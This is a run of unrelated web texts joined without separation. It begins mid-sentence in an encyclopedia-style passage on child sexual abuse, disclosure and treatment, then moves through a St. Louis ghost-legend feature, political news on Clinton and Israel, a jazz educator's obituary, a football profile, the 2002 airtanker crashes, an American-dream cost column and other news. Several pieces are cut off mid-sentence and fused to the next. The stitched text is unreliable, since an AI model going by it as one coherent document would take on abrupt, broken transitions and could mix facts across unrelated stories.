– a term defining offenses in which an adult victimizes a minor for advancement, sexual gratification, or profit; for example, prostituting a child, and creating or trafficking in child pornography. sexual grooming – a term defining the social conduct of a potential child sex offender who seeks to make a minor more accepting of their advances, for example in an online chat room.[100]
Commercial sexual exploitation
Commercial sexual exploitation of children (CSEC) is defined by the Declaration of the First World Congress against Commercial Sexual Exploitation of Children, held in Stockholm in 1996, as "sexual abuse by an adult accompanied by remuneration in cash or in kind to the child or third person(s)."[101] CSEC usually takes the form of child prostitution or child pornography, and is often facilitated by child sex tourism. CSEC is particularly a problem in developing countries of Asia.[102][103] In recent years, new innovations in technology have facilitated the trade of Internet child pornography.[104]
Disclosure
Children who received supportive responses following disclosure had less traumatic symptoms and were abused for a shorter period of time than children who did not receive support.[105][106] In general, studies have found that children need support and stress-reducing resources after disclosure of sexual abuse.[107][108] Negative social reactions to disclosure have been found to be harmful to the survivor’s well being.[109] One study reported that children who received a bad reaction from the first person they told, especially if the person was a close family member, had worse scores as adults on general trauma symptoms, post traumatic stress disorder symptoms, and dissociation.[110] Another study found that in most cases when children did disclose abuse, the person they talked to did not respond effectively, blamed or rejected the child, and took little or no action to stop the abuse.[108] Non-validating and otherwise non-supportive responses to disclosure by the child's primary attachment figure may indicate a relational disturbance predating the sexual abuse that may have been a risk factor for the abuse, and which can remain a risk factor for its psychological consequences.[111]
The American Academy of Child and Adolescent Psychiatry provides guidelines for what to say to the victim and what to do following the disclosure.[112] Asa Don Brown has indicated: "A minimization of the trauma and its effects is commonly injected into the picture by parental caregivers to shelter and calm the child. It has been commonly assumed that focusing on children’s issues too long will negatively impact their recovery. Therefore, the parental caregiver teaches the child to mask his or her issues."[113]
In many jurisdictions, abuse that is suspected, not necessarily proven, requires reporting to child protection agencies, such as the Child Protection Services in the United States. Recommendations for healthcare workers, such as primary care providers and nurses, who are often suited to encounter suspected abuse are advised to firstly determine the child’s immediate need for safety. A private environment away from suspected abusers is desired for interviewing and examining. Leading statements that can distort the story are avoided. As disclosing abuse can be distressing and sometimes even shameful, reassuring the child that he or she has done the right thing by telling and that they are not bad and that the abuse was not their fault helps in disclosing more information. Anatomically correct dolls are sometimes used to help explain what happened, although some researchers consider the dolls too explicit and overstimulating, which might contribute to non-abused children behaving with the dolls in one or more ways that suggest they were sexually abused.[114] For the suspected abusers, it is also recommended to use a nonjudgmental, nonthreatening attitude towards them and to withhold expressing shock, in order to help disclose information.[115]
Treatment
The initial approach to treating a person who has been a victim of sexual abuse is dependent upon several important factors:
Age at the time of presentation
Circumstances of presentation for treatment
Co-morbid conditions
The goal of treatment is not only to treat current mental health issues, and trauma related symptoms, but also to prevent future ones.
Children and adolescents
Children often present for treatment in one of several circumstances, including criminal investigations, custody battles, problematic behaviors, and referrals from child welfare agencies.[116]
The three major modalities for therapy with children and adolescents are family therapy, group therapy, and individual therapy. Which course is used depends on a variety of factors that must be assessed on a case-by-case basis. For instance, treatment of young children generally requires strong parental involvement and can benefit from family therapy. Adolescents tend to be more independent; they can benefit from individual or group therapy. The modality also shifts during the course of treatment, for example group therapy is rarely used in |
1900s eugenics was all the rage, and families — especially the well-to-do — didn't want to be perceived as having "impure" bloodlines. It was not uncommon for offspring with physical or mental disabilities to be institutionalized or kept out of view in basements or attics.
The monkey-faced boy was probably "someone with what we'd now call Down syndrome," surmises Stephen Walker, the author of the book Lemp: The Haunting History, who has studied the story exhaustively.
Walker says the legend of the boy grew in the 1970s when the Lemp Mansion opened to the public as a restaurant and inn and immediately caught the attention of ghost hunters and clairvoyants. At one point a psychic held a séance in the mansion in which a spirit allegedly confirmed that he was the monkey-faced boy and gave his name as Zeke. The psychic claims he told her that he died falling down the stairs in 1943, when he ventured out of the attic to look for his mother. That story — apocryphal as it may be — stuck.
Adding to the myth was the rumor that the boy's remains now reside in the family's mausoleum, tucked away inside a crypt that carries only the generic label "Lemp."
But Richard Lay, vice president of Bellefontaine Cemetery and a man who has studied the Lemps for 30 years, says that is incorrect. There are only sixteen bodies in the Lemp mausoleum, and each is accounted for.
"I've heard so many different variations of this story over the years," Lay says. "People keep coming back to it, but the stuff about unmarked graves in Bellefontaine is just not true."
Andrew Lemp Paulsen, one of the last living descendents of St. Louis' once mighty beer family, echoes that sentiment. He wishes the story of his ancestors locking up a so-called monkey-faced boy in the attic would go away.
"It's bogus. He never existed," says the 27-year-old Paulsen. "People think the Lemps were just suicides and ghosts, but we weren't. We're a real family, and these were good people. To claim that they would do something like that to a mentally handicapped child is extremely insulting."
Zombie Road: Never a Dead End
Long before the 1968 film Night of the Living Dead and Michael Jackson's 1983 "Thriller" ushered in a preoccupation with all things zombie, there existed a wooded trail stretching along the hills and hollows of far west St. Louis county. Kids called it "Zombie Road."
Originally the path served as a crossing point over the Meramec River for members of the Osage tribe. When white settlers arrived in the 1800s, natives didn't hand over the land or the crossing peacefully. In his 1883 history of St. Louis county, John Thomas Scharf reported that Native Americans regularly attacked early pioneers from behind trees and atop cliffs, establishing the area's reputation as a place where danger lurked.
Later, in the 1860s, the path became known as Lawler Ford Road and was used to connect the train station at the Glencoe resort community to the Meramec River. One of the first documented deaths along the path occurred in 1876 when Della Hamilton McCullough, the wealthy widow to a prominent St. Louis judge, was hit and killed by a train. Legend has it that McCullough's ghost continued to walk the railroad tracks near the path following her untimely passing.
Dozens of drownings in the nearby Meramec River over the past century cemented stories that the path and its surroundings harbored bad luck. In the 1950s a myth surfaced that a mental patient named Zombie met his end on Lawler Ford Road after escaping from a nearby asylum; only his bloody garments were ever found.
Soon after, the trail earned the nickname "Zombie Road" — a hangout for teens to stage late-night parties. And in true slasher-film fashion, some of those teens allegedly experienced bizarre and gruesome deaths along the trail — including getting struck by unseen trains, falling from cliff sides and even one tale of a high school student who suffocated after huffing cooking spray.
A schlocky 2007 documentary on Syfy titled Children of the Grave earned the trail even more notoriety. In the film paranormal investigators present photos and videos of "shadow people" who stalk the edges of the trail. The documentary claims that these shadow people are the spirits of children who "suffered horrible, horrible deaths down there," possibly at an orphanage or asylum for the mentally ill.
But there is no record of an asylum ever being located nearby, and the closest orphanage, a Catholic home that burned to the ground in 1885, was located several miles away. Newspapers reported no fatalities from the fire.
In 2010 the trail (accessible near Ridge Meadows Elementary School in Ellisville) was paved and renamed Rock Hollow Trail. But that hasn't kept thrill seekers from congregating along the path. Between January and Halloween of last year, St. Louis county police reportedly issued 83 tickets to people trespassing after-hours along the roadway.
Greg Myers, an investigator with the St. Louis-based Paranormal Task Force (and one of the ghost hunters featured in Children of the Grave), says he's starting to think some of the stories surrounding the path — such as the one about a mass grave of children hidden away in the forest — are pure urban myth. But that doesn't mean there isn't a good deal of supernatural activity on Zombie Road.
"Some areas, environmentally, just keep people there for various reasons," Myers says. "Zombie Road is an interesting place. There's been so much tragedy there over the years, you can see why it releases these energies. It could be vortex or a portal to the other side."Hillary Clinton broke with sartorial tradition Tuesday night when she spoke at the conference for professional businesswomen conference in San Francisco. Rather than donning her classic pantsuit, Clinton told the world she was back in action while wearing a leather jacket and floral shirt.
Clinton’s pantsuits became her trademark look, often wearing specific colored pieces with historical significance behind them. Critics often focused on her clothing and accessory choices, but this ensemble shocked — and pleased — her supporters.
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While she spoke at the Professional BusinessWomen of California annual conference about being “thrilled to be out of the woods” and continuing to fight “for a fairer, big-hearted, inclusive America,” the Internet couldn’t get past Clinton’s outfit du jour.
People took to Twitter to comment on her new look.
Contact us at editors@time.com.An Israeli soldier stands guard blocking an entrance to the Jewish settlers zone of Hebron’s Tel Rumeida neighbourhood, near al-Shuhada street in the city centre of the West Bank town on Sept. 18, 2016. HAZEM BADER/AFP/Getty Images
Israel is none too happy that the U.N. Security Council has called its illegal settlements in occupied territories illegal and is not taking it sitting down. Prime Minister Benjamin Netanyahu, for one, did not mince words. “Israel categorically rejects the despicable anti-Israeli resolution at the U.N., and will not adhere to it,” his office said in a statement after the vote. Israel quickly moved to take swift action against two of the four relatively small, powerless countries—Malaysia, New Zealand, Venezuela, and Senegal—that co-sponsored the resolution after Egypt backed out at the last minute following lots of pressure from Netanyahu’s administration.
Shortly after the resolution was approved 14-0 with the United States abstaining, Israel recalled its ambassadors from New Zealand and Senegal. Netanyahu’s administration also called off a planned visit by the Senegalese foreign minister to Israel next month as well as all aid programs to Senegal. Notably, Israel isn’t taking action against any of the more powerful countries that voted in favor of the resolution that could have blocked it, including Russia and China.
Netanyahu did have harsh words for the United States, which broke tradition and failed to use its veto power, thus allowing the first anti-settlements resolution to pass the Security Council in decades. “The Obama administration not only failed to defend Israel from this harassment at the U.N., it cooperated with it behind the scenes,” the Prime Minister’s Office said in a statement, adding that Israel was “looking forward to working with President-elect [Donald] Trump and with our friends in Congress, both Republicans and Democrats, to undo the damage of this absurd resolution.”
Israel was hardly alone in threatening to cut aid to those who supported the resolution. Sen. Lindsey Graham, the Republican who leads a Senate panel in charge of payments to the United Nations, vowed to “form a bipartisan coalition to suspend or significantly reduce” funding for the multilateral organization. Those who voted in favor of the resolution and receive U.S. funding could also suddenly see aid programs cut, he warned.
It wasn’t just Republicans who criticized the U.S. failure to veto the resolution, “a reflection of the deep loyalty to Israel shared by Democrats and Republicans,” notes the New York Times. “It is extremely frustrating, disappointing and confounding that the administration has failed to veto this resolution,” Sen. Chuck Schumer said.
Even as Palestinian leaders praised the U.N. vote, Israel insisted that the Security Council resolution would make peace in the region even less likely. The U.N. action was “a big blow to Israeli policy, a unanimous international condemnation of settlements and a strong support for the two-state solution,” a spokesman for Palestinian President Mahmoud Abbas said. But Israel’s U.N. Ambassador Danny Danon said the vote would not bring the sides closer. “By voting ‘yes’ in favor of this resolution, you have in fact voted ‘no,’” Danon said. “You voted ‘no’ to negotiations. You voted ‘no’ to progress, and a chance for better lives for Israelis and Palestinians. And you voted ‘no’ to the possibility of peace.”Jazz musician/educator David Baker, shown during the Spirit & Place Festival in November 2013, died Saturday at the age of 84. (Photo: Brent Drinkut/IndyStar)
Back in 1978, Luke Gillespie was in jazz musician and educator David Baker's officer at Indiana University and saw the Miles Davis LP "Kind of Blue" on the turntable. It looked worn and scratched, like it was played over and over, Gillespie said.
“Wow,” Gillespie said to Baker, his teacher. "You have gotten a lot of mileage out of this record.”
Baker's reply, Gillespie said, changed his life.
"Yeah, that's my seventh copy," Baker told him.
Gillespie, a professor in the IU Jacobs School of Music and performer of jazz and classical piano music, surmised that Baker would have had to play the vinyl record hundreds, or even thousands, of times, before the grooves became too worn to allow the needle to stay within the line.
And Baker was on his seventh copy.
It was a moment, Gillespie said, that for him, encapsulates Baker's influence as an educator.
"I thought I had listened a lot, but I had never listened enough to wear out even one record," Gillespie said. "I realized that I hadn't really listened as much as I needed to really absorb the music."
Baker, a renowned jazz performer and composer, died Saturday, colleagues and friends confirmed. He was 84.
Baker was a professor at the IU music school and founder of its Jazz Studies program.
An Indianapolis native, Baker racked up numerous awards during an illustrious musical career that began early in his time as a student at Crispus Attucks High School in the 1940s, when, according to a 2008 IndyStar report, he would "sneak into the smoky clubs of Indiana Avenue to soak up the atmosphere."
At Crispus Attucks, Baker had said he cultivated a love of jazz.
"We went to Attucks at a time that was very exciting. There was a great tradition of jazz already there by then," Baker told IndyStar in 2008. "We had the creme de la creme of mentors — a large music department of maybe four, five teachers. In retrospect, it was seemingly the best of all possible worlds."
Baker was an aspiring trombone player then, but he would grow to be a Grammy-nominated artist with more than 1,000 compositions. He took up the cello after a car accident injured muscles in his face.
Among Baker’s honors are becoming an Indiana Living Legend in 2001, an NEA Jazz Master in 2000, a Grammy nominee in 1979 and Pulitzer Prize nominee in 1972.
He taught and performed throughout the United States, Canada, Europe, Australia, New Zealand and Japan, according to Baker's retirement biography, written by Gillespie. He also co-founded the Smithsonian Jazz Masterworks Orchestra, Gillespie said.
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Baker founded IU's Jazz Studies program after he was hired at the school of music in 1966. He received a bachelor's and master's degree in music education at IU.
"He kind of opened my eyes to a lot of different things," said Rob Dixon, a jazz saxophonist who studied under Baker. "When he said something, you would perk up, when he said, 'Listen to Sonny Rollins; check out Joe Henderson.'"
Brent Wallarab, a professor at IU's music school and a trombone player, said Baker was an educator who had the ability to see talents in students before they saw it themselves.
"He always had that intuitive sense," said Wallarab, who studied under Baker first in 1987 and continued a long professional relationship with him. "From the very beginning, he seemed to see things in me as a young musician that I hadn't even recognized. He was able to provide opportunities that were kind of designed to help me see my potential."
Baker is survived by his wife, Lida; daughter April; son-in-law Brad; April’s mother, Jeanne; his granddaughter, Kirsten, and her husband, Nick; his nephew, David Michael; and sons Greyson and Elijah, Gillespie wrote in the biography.
IndyStar reporter Dave Lindquist contributed to this story. Call IndyStar reporter Madeline Buckley at (317) 444-6083. Follow her on Twitter: @Mabuckley88.
Read or Share this story: http://indy.st/1RsFNuQAhmad Brooks: an All-Pro who's under the radar
Ahmad Brooks is tied for second in 49ers history in postseason sacks, owns the franchise single-season record for forced fumbles by a linebacker and is one of three players from the team's star-studded defense to earn All-Pro honors in each of the past two seasons.
Still, in his estimation, the most memorable play of his career was a sack that didn't count in a game the 49ers lost.
Last year, Brooks became the central figure in a national story when he was called for an unnecessary-roughness penalty on a takedown of New Orleans quarterback Drew Brees. The nullified sack - and apparently game-sealing recovered fumble - was a pivotal point in the 23-20 last-second loss and placed the outside linebacker in endless headlines as pundits pondered whether the NFL had gone overboard in cracking down on illegal hits.
Brooks considers 2012 his best season, but he made his first Pro Bowl in 2013 because, well...
"You need a big play or two on Drew Brees," he said. "Even if it's a penalty."
Brooks offered that with a smile. And he seems comfortable with his under-the-radar role as the other man in a linebacker corps that includes three big names: Patrick Willis, NaVorro Bowman and Aldon Smith.
Entering his ninth season, however, anonymous Ahmad could command more of the spotlight in the early stages of 2014. With Smith suspended for the first nine games of the season and Bowman (knee) sidelined for at least the first six, the 49ers will need strong performances from their remaining stars to maintain their high defensive standards.
Those stars include Brooks, 30, although he ranks behind Willis and defensive tackle Justin Smith on the wattage scale.
Last week, during a sit-down interview in the locker room, Brooks was asked how many other times he'd been requested for an interview since training camp began in July. His answer: two. Not that he's complaining. He's willing to talk, but he also likes to nap between practices.
"I think fans and people outside of the football offices, they may not know who I am," Brooks said. "But as far as coaches and players, they know."
Why the lack of name recognition?
"I don't know," he said. "I'm pretty good at unsung-hero type of stuff. Batting down a ball, playing your gap, being in the right spot all the time. Those things don't get recognized. It's not (ESPN "SportsCenter") top-10 stuff."
Brooks, of course, isn't all about the dirty work. Last year, he had a career-high 8 1/2 sacks and peaked in the playoffs. He had 4 1/2 sacks in three games and played a key role in two game-changing goal-line stands in a divisional-round win over Carolina.
His brilliant play, however, didn't net the desired result. A 23-17 loss to Seattle in the NFC Championship Game marked the third straight season the 49ers' season ended deep in the playoffs in devastating fashion. For Brooks, the third was the most torturous and he initially retreated to his native Virginia.
"I didn't do anything, man," Brooks said. "I think last year hit me so hard. I'm not going to say depressed, but it just took a toll on me. To get there three times and not make it, it's like, 'Damn.' You know what I mean?
"You put your all into it. You put so much into it and to lose a game like that? You see all the effort the coaches and your teammates put into it and to not close it out, yeah, it was kind of devastating. So I was like, 'I don't care about football. I don't want to think about it. I need to get away from this s- for a while.' That's how I was."
Brooks' offseason funk helps explain why he didn't report to training camp in top condition: As of last week, he acknowledged that he needed to lose 5 to 10 pounds, and his extra weight caused defensive coordinator Vic Fangio to hedge when asked if Brooks is ready to reprise his 2013 performance.
For his part, Brooks says he's ready to help fill the voids left by the absences of Smith and Bowman. And, thanks to last season's sack that didn't count, he thinks some fans won't be surprised if he helps carry the defense.
"Yeah, I think that got my name out there last year," he said. "I think some people might have started saying, 'Who's this (No.) 55 guy?' "Canadians: 2 weeks left to tell Parliament how you feel about the Canadian DMCA!
Michael Geist sez, "Last month, the Bill C-32 Legislative Committee invited Canadians to provide their views on the bill. Even if you have spoken out before - an email or letter to your MP, a letter to the Ministers, a submission to the copyright consultation, or a posting online - it is important to speak out again. Make sure the committee studying Bill C-32 hear from Canadians about the importance of maintaining a fair approach that does not result in digital locks trumping consumer rights and that advances fair dealing for the benefit of creators, consumers, education, and business. The Committee has set the following parameters: 'In order for briefs on Bill C-32 to be considered by the Committee in a timely fashion, the document should be submitted to the Committee's mailbox at CC32@parl.gc.ca by the end of January, 2011. A brief which is longer than 5 pages should be accompanied by a 1 page executive summary and in any event should not exceed 10 pages in length.'"
Speak Out on Copyright: The Bill C-32 EditionIn 2002, two large airtankers – a Lockheed C-130 Hercules and a Consolidated PB4Y-2 Privateer – crashed about a month apart while performing aerial firefighting operations. These crashes prompted a review of the maintenance and use of the entire U.S. large airtanker fleet. Ultimately, the whole fleet (33 aircraft in all) was grounded, dramatically reducing the resources available to fight major wildfires. Both aircraft were owned by Hawkins & Powers Aviation of Greybull, Wyoming and operated under contract to the United States Forest Service (USFS). The crashes occurred in one of the worst fire seasons in the last half century, one in which 73,000 fires burned 7.2 million acres (29,000 km2) of land.[1]
C-130A, Walker, California [ edit ]
N130HP crash scene from NTSB report
Lockheed C-130A Hercules registration N130HP, call sign Tanker 130, was flying against the Cannon Fire,[2] near Walker, California on June 17, 2002, when it experienced structural failure of the center wing section, causing both wings to fold upward and separate from the aircraft. The fuselage rolled and crashed inverted, killing the three crewmen on board.[3][4][5] Unusually, the aircraft was being filmed during the retardant drop and at the moment the wings separated, providing valuable evidence for the subsequent investigation by the National Transportation Safety Board (NTSB).
Tanker 130 had departed the Minden, Nevada air attack base at 2:29 p.m. PDT loaded with 3,000 US gallons (11,000 L) of fire retardant for its sixth drop of the day with a pilot, copilot and flight engineer on board, and arrived at the fire at 2:45 p.m. The aircraft made an initial spotting pass over the drop zone, then flew back for the drop, which was to dispense half of the load of retardant. The drop run required the aircraft to make a perpendicular crossing of a ridgeline and then descend into a valley. A video of the accident shows the aircraft crossing the ridge and then pitching down to begin its drop of the retardant. Near the end of the drop, the nose of the aircraft began to pitch up to level attitude as the descent was arrested. The nose continued to pitch up past level attitude, and at the end of the drop, the right wing began to fold upwards, followed less than one second later by the left wing. Two debris fields were found, one 500 feet (150 m) in length and the other 720 feet (220 m) in length. A post-impact fire in the first debris field consumed major portions of the wing and engine components; there was no fire in the second debris field, which included the fuselage and empennage.[3]
The aircraft, previously United States Air Force (USAF) Serial Number 56-0538, was one of the original C-130A production series and had been built and delivered to the USAF in 1957. It was retired from military service in 1986. In May 1988, the aircraft was acquired from the General Services Administration by the USFS, which in August that year sold it and five other C-130s it had acquired to Hemet Valley Flying Service, for conversion to an airtanker. Hemet then sold the C-130 to Hawkins & Powers.[3] At the time of the crash, the aircraft had logged 21,863 flight hours.[3]
The NTSB investigated the crash and determined that the accident was caused by a structural failure that occurred at the wing-to-fuselage attach point, with the right wing failing just before the left. The investigation disclosed "evidence of fatigue cracks in the right wing's lower surface skin panel, with origins beneath the forward doubler. The origin points were determined to be in rivet holes which join the external doubler and the internal stringers to the lower skin panel. These cracks, which grew together to about a 12-inch (30 cm) length, were found to have propagated past the area where they would have been covered by the doubler and into the stringers beneath the doubler and across the lap joint between the middle skin panel and the forward skin panel."[3][6]
PB4Y-2, Estes Park, Colorado [ edit ]
The second crash occurred on July 18, 2002 near Estes Park, Colorado, also as a result of structural failure, in this case in the wing's spar adjacent to the left side of the fuselage. The aircraft, operating with the callsign Tanker 123, was loaded with 2,000 US gallons (7,600 L) of retardant.[7] At the time of the accident, it was in a left turn to line up for its eighth drop of the day on the Big Elk fire.[8] While still in the 15–20° left bank, witnesses on the ground and in another tanker observed the left wing separate from the aircraft and "fold upwards", followed almost immediately by the initiation of a fire. The aircraft continued to roll left, impacting the ground at a 45° nose down attitude, starting a large fire at the wreck site. Both crewmen were killed in the crash.[9][10][11]
The aircraft, a Consolidated PB4Y-2 Privateer registered N7620C, was built during World War II. It had been delivered in July 1945 to the United States Navy, which used it for coastal patrol duties. In 1952, it was transferred to the United States Coast Guard, which operated it until it was retired in 1956. The aircraft was removed from storage and converted to an airtanker in 1958, then was flown by several different companies, the last being Hawkins & Powers. At the time of the crash, the airframe had logged 8,346.3 flight hours.[6][9]
A detailed investigation by the NTSB showed that the wing's lower spar cap had extensive stress fatigue and had fractures through the lower spar cap, vertically up the spar web and into the upper spar cap. The lower wing skin also found signs of fatigue in the area adjacent to the cracked spar cap.[6][9] An examination of two other similar aircraft showed that the area of cracking was hidden from view by other fuselage structure.[9]
Prior safety concerns and incidents [ edit ]
Tanker 64 operated by TBM, Inc., similar to N130HP. In this image, the white wing center section area can be easily seen in contrast with the light grey of the wings. C-130Aoperated by TBM, Inc., similar to N130HP. In this image, the white wing center section area can be easily seen in contrast with the light grey of the wings.
Concerns about the safety of older transport aircraft being used as airtankers had been ongoing, long before the 2002 crashes. In the early 1980s, concern about the age and safety issues of World War II and Korean War-era aircraft that were the predominant aircraft used as airtankers led the Forest Service to initiate a program to provide more modern, turbine-powered C-130As to contracting companies. However, this solution quickly became the problem. According to an NTSB advisory,
During a C-130A contract pre-award evaluation in 1991, the Department of the Interior's (DOI) Office of Aviation Services inspectors concluded that essential inspection and maintenance services critical to sustaining the airplane in an airworthy condition under normal operating conditions were not being accomplished with the C-130A. This prompted the DOI, in 1993, to prohibit the use of the C130A on DOI land. The FAA and the DOI subsequently developed an action plan to address many of the same inspection and maintenance issues seen in the most recent C-130A and P4Y accident investigations. Since that time the DOI has dropped its restrictions on the C-130A....[6]
On August 13, 1994, a 1957-built C-130A, registration N135FF with call sign Tanker 82, crashed near Pearblossom, California while fighting a fire in the San Gabriel Mountains. Eyewitnesses reported seeing an explosion followed by the separation of the right wing at the wing attach point.[12] Due to the extremely rugged terrain, the NTSB recovered only a small portion of the wreckage, and its preliminary conclusion that an explosion caused by a fuel leak led to the wing separation was based largely on eyewitness statements.[13] A subsequent independent investigation in 1997 led by Douglas Herlihy, a former NTSB investigator, reexamined the site and the wreckage, and found no evidence of an explosion, but rather found evidence of structural failure due to fatigue stress.[13][14] The NTSB subsequently reexamined its findings, and found evidence of fatigue cracking "consistent with overstress separation", and ultimately revised its findings.[12][15] The initial eyewitness reports of an explosion are not inconsistent with a fatigue-caused wing separation. Similar eyewitness reports were given in the 2002 crash, and an analysis of a video of that crash showed the initiation of a fireball 0.9 seconds after the wing separated.[13]
On September 6, 2000, a 1957-built C-130A registered N116TG, operated by T&G Aviation, fighting a fire near Burzet, France crashed killing two of the four crewmen on board.[16][17] It struck a ridge while preparing for a second drop on the fire.
Fleet grounding [ edit ]
Following the two crashes, the USFS and the United States Bureau of Land Management (BLM) jointly established an independent blue ribbon panel "to investigate issues associated with aerial wildland firefighting in the United States."[1] In March, 2003, the panel released its report, which included eight key findings
...critical for planning a safe and effective fire aviation program. The Report identified various concerns about aircraft safety, including the airworthiness of aircraft that were operating outside of their original intended design and the appropriate levels of maintenance and training to ensure safe operations. The report also identified a lack of training in contemporary aviation management areas that has contributed to an unacceptable accident rate.[1]
As a result of the panel's recommendations, the USFS and BLM declined to renew the leases on nine C-130A and PB4Y-2 airtankers, and ordered the 33 remaining large airtankers to undergo an improved inspection program before they returned to active service. The agencies contracted with the Sandia National Laboratories to analyze the safety of continuing use of five types of airtankers – the Douglas DC-4, Douglas DC-6, Douglas DC-7, Lockheed P-3 Orion and Lockheed P-2 Neptune. In addition, 11 of 19 Beechcraft 58P Baron leadplanes were also retired, as they had exceeded the 6,000 flight hour airframe safety limit. To further reduce the risk to the fleet, the agencies directed their field managers to use airtankers primarily for initial attack only.[1]
Almost two years after the Summer 2002 crashes and as a direct result of the ensuing investigations, on May 10, 2004, the Forest Service abruptly terminated the contracts for the entire large tanker fleet. USFS Chief Dale Bosworth stated, "Safety is a core value of the firefighting community, and it is non-negotiable. To continue to use these contract large airtankers when no mechanism exists to guarantee their airworthiness presents an unacceptable level of risk to the aviators, the firefighters on the ground and the communities we serve."[18] The decision affected tanker contracts issued by both the USFS and BLM.
In the vacuum left by the absence of the large tankers, the Forest Service said it would shift its firefighting strategies to rely more on heavy helicopters, light tankers and military C-130s equipped with the Modular Airborne FireFighting System.[18]
See also [ edit ]
References [ edit ]
This article incorporates public domain material from websites or documents of the National Transportation Safety Board.Mailbox (Photo: Image Source Pink Getty Images/Image Source)
No idea is more central to Americans' outlook than the American dream — the belief that with hard work and the freedom to pursue your destiny you can achieve success and provide better opportunities for your children.
Historian John Truslow Adams, who coined the term, called it "the greatest contribution we have made to the thought and welfare of the world." It has inspired millions of people from every corner of the globe to come here in search of liberty and opportunity.But the financial crisis, housing bust and Great Recession have caused more of us to worry that the American dream is out of reach.
For the vast majority of Americans, there is a sense that achieving the American dream is becoming more difficult," wrote Mark Robert Rank, Thomas A. Hirschl and Kirk A. Foster in a new book,
Chasing the American Dream.
Starbucks CEO Howard Schultz, in announcing a new policy to provide employees with a college education, declared: "In the last few years, we have seen the fracturing of the American dream."
In fact, three-quarters of Americans polled by the Brookings Institution in 2008 said the dream was harder to attain.
They're right to worry. An analysis by USA TODAY shows that living the American dream would cost the average family of four about $130,000 a year. Only 16 million U.S. households — around 1 in 8 — earned that much in 2013, according to the U.S. Census Bureau.
In an interview, co-author Thomas Hirschl, a professor at Cornell University, stressed that for the dozens of people they surveyed and interviewed, the American dream was not about becoming one of the 1%.
"It's not about getting rich and making a lot of money. It's about security," he said. It's also as much about hope for the next generation as it is about the success of this one. "They want to feel that their children are going to have a better life than they do," said Hirschl.
In their book, the authors write that besides economic security, the American dream includes "finding and pursuing a rewarding career, leading a healthy and personally fulfilling life, and being able to retire in comfort."
With that in mind, USA TODAY added up the estimated costs of living the American dream:
•Home ownership is central to the American dream. So, we took the median price of a new home ($275,000), subtracted a 10% down payment, then projected the annual cost of a 30-year mortgage at 4% interest. We also added annual maintenance costs of 1% of the purchase price. Total: $17,062 a year.
•We used the U.S. Department of Agriculture's April 2014 figure of $12,659 for a moderate-cost grocery plan for a family of four.
•In May, AAA estimated it would cost $11,039 a year to own one four-wheel-drive sport-utility vehicle.
•The Milliman Medical Index pegged annual health insurance premiums and out-of-pocket medical expenses at $9,144.•We used various estimates for the costs of restaurants and entertainment; one family summer vacation; clothing; utilities; cable or satellite; Internet and cellphone; and miscellaneous expenses (see table).
•Total federal, state, and local taxes were pegged at 30% for households at this income level, based on a model developed for Citizens for Tax Justice.
•USA TODAY calculated current educational expenses for two children at $4,000 a year and college savings (all of it pretax, we assumed) at $2,500 per year per child, based on various rules of thumb.
•Finally, the maximum annual pretax contribution to a retirement plan for people under 50 is $17,500. That's slightly less than 15% of this American dream household's annual earnings, in line with financial planners' recommendations.
Total: $130,357.
It sounds like a lot — and it is in a country where the median household income is about $51,000. Add one more child and another vehicle and you could easily reach $150,000
There are big regional variations, too. It costs a lot less to live the American dream in, say, Indianapolis or Tulsa than it does in metro areas like New York and San Francisco, where housing prices and taxes are sky high.
And many people achieve the dream on much less. Some immigrants, for example, have extended families and other support systems to help bear the burden.
Nonetheless, it's clear that though the American dream is still alive, fewer and fewer of us can afford to live it.
Howard R. Gold is a MarketWatch columnist and founder and editor of GoldenEgg Investing, which offers simple, low-cost, low-risk retirement investing plans. Follow him on Twitter @howardrgold.
Read or Share this story: http://usat.ly/1lZeIU7Last week, solar finance startup SunFunder closed a $2.5 million Series A round. Although small by the standards of developed countries, the deal shows that leading investors are interested in the future of solar beyond the grid.
In addition to drawing support from Khosla Impact and Better Ventures, SunFunder was able to entice a heavyweight in the world of electricity: Schneider Electric.
Schneider follows SolarCity as another major solar player to back off-grid applications. The move shows an increase in interest about the future of these markets.
Based in San Francisco and Tanzania, SunFunder provides short-term working capital and project finance loans for solar home systems, microgrids and commercial solar projects in emerging markets. The company raises debt capital through the Solar Empowerment Fund, offering accredited investors a risk-reduced, fixed-income investment opportunity in diverse portfolios of high-impact solar loans across multiple countries and solar technologies. The company has a goal to unlock more than $1 billion in debt for solar beyond the grid.
To reach that ambitious goal, the startup needs to exponentially expand off-grid solar. That's not an easy task. But investors like Sandhya Hegde of Khosla Impact believe the firm has the right model to open up the possibility.
“SunFunder’s diligence weeds out risks, and its technology and systems make investments in off-grid solar a mainstream finance product. It’s creating a standard for viable, profitable and ‘bankable’ solutions to attract large commercial investors to this |
concerns about the Digital Economy Act.
The web blocking provisions are a real mistake - they would stifle freedom of expression, for unproven benefit, whilst being extremely costly and difficult to manage," said Peter Bradwell, an ORG campaigner.
But copyright owners were less impressed by the decision to look again at the legislation.
"This review represents yet another delay in implementing the Act's provisions," said Richard Mollet, chief executive of the Publishers Association.
"We urge Ofcom to come to its conclusions as quickly as possible and if it finds the measures in the Act are unsuitable, it must be tasked with proposing a viable alternative," he added.
Judicial review
The government's attempts to crack down on illegal file-sharing have courted much controversy.
Ofcom is already planning the first stage of the campaign, which will see letters sent to those identified as illegal file-sharers.
The DEA is subject to a judicial review, which will look at whether the act is legal and justifiable.
The review, granted to ISPs BT and TalkTalk, will take place in March.
Opponents claim that the legislation was rushed through parliament without proper debate and that the methods that would be used to identify net pirates are flawed and unfair.
In a recent court case brought against 27 alleged illegal file-sharers, it was argued that the IP address of a computer, the numerical code that identifies the connection, cannot be used as evidence because it fails to identify the individual responsible.
The judge is due to rule on the case imminently.
The government needs secondary legislation before it can procced with any plans to block websites. Ofcom is due to report back in the spring.The 2012 elections were supposed to create the political space Republicans needed to make their agenda more welcoming to growing Democratic constituencies, but instead it pushed conservatives into a deeper defensive crouch, from which they intimidated GOP leaders into squandering just about every opportunity they've had to broaden the party's appeal.
In some cases, GOP leaders themselves have been reluctant to support the kinds of social and economic policies that might stanch the demographic bleeding that threatens to cost them the White House for another four or eight years.
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If you're a regular reader, this is old news. It's been a recurring theme here. The general shape of things in 2013 was that House Speaker John Boehner and the House Republican leadership just ignored legislation they had no interest in passing (the Employment Non-Discrimination Act, for instance), but attempted to legislate when they either sympathized with the cause (immigration reform) or were compelled by deadline to act (the debt limit). In either case, rank and file conservatives threatened full-scale rebellion, which led to a three-week government shutdown and rendered immigration reform comatose.
